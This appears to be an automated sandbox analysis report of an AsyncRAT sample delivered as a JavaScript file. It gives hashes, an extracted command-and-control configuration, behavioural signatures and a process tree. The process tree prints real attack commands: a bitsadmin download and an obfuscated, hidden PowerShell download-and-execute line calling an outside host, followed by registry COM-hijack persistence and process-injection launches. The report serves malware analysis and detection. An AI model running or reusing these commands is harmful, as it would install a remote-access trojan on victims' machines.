asyncrat | eb4fb6dfdd5331cc15d8a081ac3e99906106f3881135523bd8a362ecc227c819

Resubmissions

01/09/2023, 01:00

230901-bcvjnsbf6910

31/08/2023, 22:04

230831-1y9cdsag6v10

Analysis

max time kernel
1122s
max time network
1207s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
01/09/2023, 01:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
64f101f326b41.js
Size 349KB
Sample230901-bcvjnsbf69
SHA256 eb4fb6dfdd5331cc15d8a081ac3e99906106f3881135523bd8a362ecc227c819
MD5 402878dc5b3ab4c5eb66138ff458fdcf
SHA1 3a7d87b1a5769c8a01e40b0748608289b623ad0a
SHA512 1b1c1e161109cff406efb161250500486937d6dcddbe6af5d19d2b6d3c164ad9fe263377c49f6e27f73129230f2374d4e2226c29e5bc40eb704cdd87759e6624
SSDEEP 6144:VDDDDDDDDDDDxDDDDDDDDDDDZDDDDDDDDDDD+DDDDDDDDDDDyDDDDDDDDDDDbDDk:VDDDDDDDDDDDxDDDDDDDDDDDZDDDDDDg
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat default persistence rat

Malware Config

Extracted

Family

asyncrat

Version

| Edit 3LOSH RAT

Botnet

Default

nwoork.kozow.com:7707

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 7 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3540	4508	POWERSHELL.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4748	2416	POWERSHELL.exe	116
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1116	1236	POWERSHELL.exe	128
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	744	3880	POWERSHELL.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2368	2932	POWERSHELL.exe	152
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3128	3760	POWERSHELL.exe	162
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	680	2276	POWERSHELL.exe	173

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/4688-110-0x0000000000400000-0x0000000000416000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
30	4624	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Control Panel\International\Geo\Nation	wscript.exe

Registers COM server for autorun 1 TTPs 14 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 4948 set thread context of 4688	4948	powershell.exe	112
PID 3304 set thread context of 3004	3304	powershell.exe	124
PID 4820 set thread context of 2468	4820	powershell.exe	150
PID 4648 set thread context of 3784	4648	powershell.exe	160
PID 1856 set thread context of 3360	1856	powershell.exe	171
PID 5024 set thread context of 2240	5024	powershell.exe	182

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2096	bitsadmin.exe

Modifies registry class 28 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe

Modifies registry key 1 TTPs 14 IoCs

Modify Registry

T1112

pid	Process
3768	reg.exe
1332	reg.exe
2292	reg.exe
2688	reg.exe
912	reg.exe
4564	reg.exe
4508	reg.exe
3068	reg.exe
4860	reg.exe
3184	reg.exe
4292	reg.exe
2992	reg.exe
2456	reg.exe
3948	reg.exe

Suspicious behavior: EnumeratesProcesses 49 IoCs

pid	Process
4624	powershell.exe
4624	powershell.exe
2296	powershell.exe
2296	powershell.exe
2296	powershell.exe
3540	POWERSHELL.exe
3540	POWERSHELL.exe
3540	POWERSHELL.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4748	POWERSHELL.exe
4748	POWERSHELL.exe
3304	powershell.exe
3304	powershell.exe
1116	POWERSHELL.exe
1116	POWERSHELL.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
744	POWERSHELL.exe
744	POWERSHELL.exe
4820	powershell.exe
4820	powershell.exe
2368	POWERSHELL.exe
2368	POWERSHELL.exe
4648	powershell.exe
4648	powershell.exe
3128	POWERSHELL.exe
3128	POWERSHELL.exe
1856	powershell.exe
1856	powershell.exe
1856	powershell.exe
1856	powershell.exe
680	POWERSHELL.exe
680	POWERSHELL.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4688	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4624	powershell.exe
Token: SeDebugPrivilege	2296	powershell.exe
Token: SeDebugPrivilege	3540	POWERSHELL.exe
Token: SeIncreaseQuotaPrivilege	2296	powershell.exe
Token: SeSecurityPrivilege	2296	powershell.exe
Token: SeTakeOwnershipPrivilege	2296	powershell.exe
Token: SeLoadDriverPrivilege	2296	powershell.exe
Token: SeSystemProfilePrivilege	2296	powershell.exe
Token: SeSystemtimePrivilege	2296	powershell.exe
Token: SeProfSingleProcessPrivilege	2296	powershell.exe
Token: SeIncBasePriorityPrivilege	2296	powershell.exe
Token: SeCreatePagefilePrivilege	2296	powershell.exe
Token: SeBackupPrivilege	2296	powershell.exe
Token: SeRestorePrivilege	2296	powershell.exe
Token: SeShutdownPrivilege	2296	powershell.exe
Token: SeDebugPrivilege	2296	powershell.exe
Token: SeSystemEnvironmentPrivilege	2296	powershell.exe
Token: SeRemoteShutdownPrivilege	2296	powershell.exe
Token: SeUndockPrivilege	2296	powershell.exe
Token: SeManageVolumePrivilege	2296	powershell.exe
Token: 33	2296	powershell.exe
Token: 34	2296	powershell.exe
Token: 35	2296	powershell.exe
Token: 36	2296	powershell.exe
Token: SeIncreaseQuotaPrivilege	2296	powershell.exe
Token: SeSecurityPrivilege	2296	powershell.exe
Token: SeTakeOwnershipPrivilege	2296	powershell.exe
Token: SeLoadDriverPrivilege	2296	powershell.exe
Token: SeSystemProfilePrivilege	2296	powershell.exe
Token: SeSystemtimePrivilege	2296	powershell.exe
Token: SeProfSingleProcessPrivilege	2296	powershell.exe
Token: SeIncBasePriorityPrivilege	2296	powershell.exe
Token: SeCreatePagefilePrivilege	2296	powershell.exe
Token: SeBackupPrivilege	2296	powershell.exe
Token: SeRestorePrivilege	2296	powershell.exe
Token: SeShutdownPrivilege	2296	powershell.exe
Token: SeDebugPrivilege	2296	powershell.exe
Token: SeSystemEnvironmentPrivilege	2296	powershell.exe
Token: SeRemoteShutdownPrivilege	2296	powershell.exe
Token: SeUndockPrivilege	2296	powershell.exe
Token: SeManageVolumePrivilege	2296	powershell.exe
Token: 33	2296	powershell.exe
Token: 34	2296	powershell.exe
Token: 35	2296	powershell.exe
Token: 36	2296	powershell.exe
Token: SeIncreaseQuotaPrivilege	2296	powershell.exe
Token: SeSecurityPrivilege	2296	powershell.exe
Token: SeTakeOwnershipPrivilege	2296	powershell.exe
Token: SeLoadDriverPrivilege	2296	powershell.exe
Token: SeSystemProfilePrivilege	2296	powershell.exe
Token: SeSystemtimePrivilege	2296	powershell.exe
Token: SeProfSingleProcessPrivilege	2296	powershell.exe
Token: SeIncBasePriorityPrivilege	2296	powershell.exe
Token: SeCreatePagefilePrivilege	2296	powershell.exe
Token: SeBackupPrivilege	2296	powershell.exe
Token: SeRestorePrivilege	2296	powershell.exe
Token: SeShutdownPrivilege	2296	powershell.exe
Token: SeDebugPrivilege	2296	powershell.exe
Token: SeSystemEnvironmentPrivilege	2296	powershell.exe
Token: SeRemoteShutdownPrivilege	2296	powershell.exe
Token: SeUndockPrivilege	2296	powershell.exe
Token: SeManageVolumePrivilege	2296	powershell.exe
Token: 33	2296	powershell.exe
Token: 34	2296	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3320 wrote to memory of 2096	3320	wscript.exe	82
PID 3320 wrote to memory of 2096	3320	wscript.exe	82
PID 3320 wrote to memory of 4748	3320	wscript.exe	93
PID 3320 wrote to memory of 4748	3320	wscript.exe	93
PID 4748 wrote to memory of 4624	4748	wscript.exe	94
PID 4748 wrote to memory of 4624	4748	wscript.exe	94
PID 4624 wrote to memory of 2296	4624	powershell.exe	102
PID 4624 wrote to memory of 2296	4624	powershell.exe	102
PID 2296 wrote to memory of 2720	2296	powershell.exe	103
PID 2296 wrote to memory of 2720	2296	powershell.exe	103
PID 3540 wrote to memory of 4772	3540	POWERSHELL.exe	106
PID 3540 wrote to memory of 4772	3540	POWERSHELL.exe	106
PID 4772 wrote to memory of 2688	4772	cmd.exe	107
PID 4772 wrote to memory of 2688	4772	cmd.exe	107
PID 4772 wrote to memory of 912	4772	cmd.exe	108
PID 4772 wrote to memory of 912	4772	cmd.exe	108
PID 4772 wrote to memory of 1572	4772	cmd.exe	109
PID 4772 wrote to memory of 1572	4772	cmd.exe	109
PID 1572 wrote to memory of 4948	1572	cmd.exe	110
PID 1572 wrote to memory of 4948	1572	cmd.exe	110
PID 4948 wrote to memory of 4688	4948	powershell.exe	112
PID 4948 wrote to memory of 4688	4948	powershell.exe	112
PID 4948 wrote to memory of 4688	4948	powershell.exe	112
PID 4948 wrote to memory of 4688	4948	powershell.exe	112
PID 4948 wrote to memory of 4688	4948	powershell.exe	112
PID 4948 wrote to memory of 4688	4948	powershell.exe	112
PID 4948 wrote to memory of 4688	4948	powershell.exe	112
PID 4948 wrote to memory of 4688	4948	powershell.exe	112
PID 4748 wrote to memory of 3356	4748	POWERSHELL.exe	119
PID 4748 wrote to memory of 3356	4748	POWERSHELL.exe	119
PID 3356 wrote to memory of 4564	3356	cmd.exe	122
PID 3356 wrote to memory of 4564	3356	cmd.exe	122
PID 3356 wrote to memory of 2456	3356	cmd.exe	121
PID 3356 wrote to memory of 2456	3356	cmd.exe	121
PID 3356 wrote to memory of 3000	3356	cmd.exe	120
PID 3356 wrote to memory of 3000	3356	cmd.exe	120
PID 3000 wrote to memory of 3304	3000	cmd.exe	123
PID 3000 wrote to memory of 3304	3000	cmd.exe	123
PID 3304 wrote to memory of 3004	3304	powershell.exe	124
PID 3304 wrote to memory of 3004	3304	powershell.exe	124
PID 3304 wrote to memory of 3004	3304	powershell.exe	124
PID 3304 wrote to memory of 3004	3304	powershell.exe	124
PID 3304 wrote to memory of 3004	3304	powershell.exe	124
PID 3304 wrote to memory of 3004	3304	powershell.exe	124
PID 3304 wrote to memory of 3004	3304	powershell.exe	124
PID 3304 wrote to memory of 3004	3304	powershell.exe	124
PID 1116 wrote to memory of 3300	1116	POWERSHELL.exe	131
PID 1116 wrote to memory of 3300	1116	POWERSHELL.exe	131
PID 3300 wrote to memory of 4508	3300	cmd.exe	132
PID 3300 wrote to memory of 4508	3300	cmd.exe	132
PID 3300 wrote to memory of 3948	3300	cmd.exe	133
PID 3300 wrote to memory of 3948	3300	cmd.exe	133
PID 3300 wrote to memory of 1688	3300	cmd.exe	134
PID 3300 wrote to memory of 1688	3300	cmd.exe	134
PID 1688 wrote to memory of 2584	1688	cmd.exe	135
PID 1688 wrote to memory of 2584	1688	cmd.exe	135
PID 2584 wrote to memory of 3084	2584	powershell.exe	136
PID 2584 wrote to memory of 3084	2584	powershell.exe	136
PID 2584 wrote to memory of 3084	2584	powershell.exe	136
PID 2584 wrote to memory of 4292	2584	powershell.exe	138
PID 2584 wrote to memory of 4292	2584	powershell.exe	138
PID 2584 wrote to memory of 4292	2584	powershell.exe	138
PID 2584 wrote to memory of 2292	2584	powershell.exe	137
PID 2584 wrote to memory of 2292	2584	powershell.exe	137

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\64f101f326b41.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3320
- C:\Windows\System32\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://nirovam.nn.pe/jj.txt C:\Users\Admin\AppData\Local\TempVB
  2⤵
  - Download via BitsAdmin
  PID:2096
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //E:VBScript C:\Users\Admin\AppData\Local\TempVB
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI $OXDWHIMTGN='IeX(NeW-OBJeCT NeT.W';$FLWDGUPKOQ='eBCLIeNT).DOWNLO';Sleep 2;[BYTe[]];Sleep 3;$IEMHFSWCGD='VCWEIXHKQM(''https://nirovam.nn.pe/Dalia.ico'')'.RePLACe('VCWEIXHKQM','ADSTRING');Sleep 1;IeX($OXDWHIMTGN+$FLWDGUPKOQ+$IEMHFSWCGD);
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.ps1'"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2296
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.vbs"
        5⤵
        
        PID:2720

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1716

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.bat
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4772
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:2688
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f
    3⤵
    - Registers COM server for autorun
    - Modifies registry class
    - Modifies registry key
    PID:912
- - C:\Windows\system32\cmd.exe
    cMd.E"x"e /c =PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\FFBLHLNEHNCWJTCUUBSRAY.ps1'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1572
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\FFBLHLNEHNCWJTCUUBSRAY.ps1'"
      4⤵
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4948
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        Suspicious behavior: GetForegroundWindowSpam
        
        PID:4688

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.vbs"
1⤵
PID:4272

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.bat
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3356
- - C:\Windows\system32\cmd.exe
    cMd.E"x"e /c =PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\FFBLHLNEHNCWJTCUUBSRAY.ps1'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\FFBLHLNEHNCWJTCUUBSRAY.ps1'"
      4⤵
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3304
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:3004
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f
    3⤵
    - Registers COM server for autorun
    - Modifies registry class
    - Modifies registry key
    PID:2456
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:4564

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.vbs"
1⤵
PID:4392

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.bat
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:4508
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f
    3⤵
    - Registers COM server for autorun
    - Modifies registry class
    - Modifies registry key
    PID:3948
- - C:\Windows\system32\cmd.exe
    cMd.E"x"e /c =PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\FFBLHLNEHNCWJTCUUBSRAY.ps1'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1688
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\FFBLHLNEHNCWJTCUUBSRAY.ps1'"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2584
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:3084
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:2292
